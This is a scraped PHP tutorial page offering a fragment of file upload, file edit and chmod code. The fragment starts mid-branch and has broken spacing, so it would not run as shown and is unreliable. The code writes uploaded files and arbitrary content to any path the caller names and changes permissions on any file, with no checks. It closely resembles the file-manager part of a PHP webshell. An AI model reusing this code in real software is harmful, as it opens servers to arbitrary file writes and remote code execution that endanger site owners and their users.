Home  >  Article  >  Backend Development  >  PHP editing, uploading, modifying file attribute code_PHP tutorial

PHP editing, uploading, modifying file attribute code_PHP tutorial

WBOY
WBOYOriginal
2016-07-20 11:06:33995browse

php edit, upload, modify file attribute code
m('File upload'.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES[' uploadfile']['name']) ? 'Success' : 'Failure'));
}

// Edit file
elseif ($editfilename && $filecontent) {
$ fp = @fopen($editfilename,'w');
m('Save file'.(@fwrite($fp,$filecontent) ? 'Success' : 'Failure'));
@fclose( $fp);
}

// Edit file attributes
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m(' The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('File editing'.(@chmod($pfile,$newperm) ? 'Success' : 'Failure'));
}
}


www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/445026.htmlTechArticlephp edit, upload, modify file attribute code m('File upload'.(@copy($_FILES[' uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'Success' : 'Failure')); } //...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn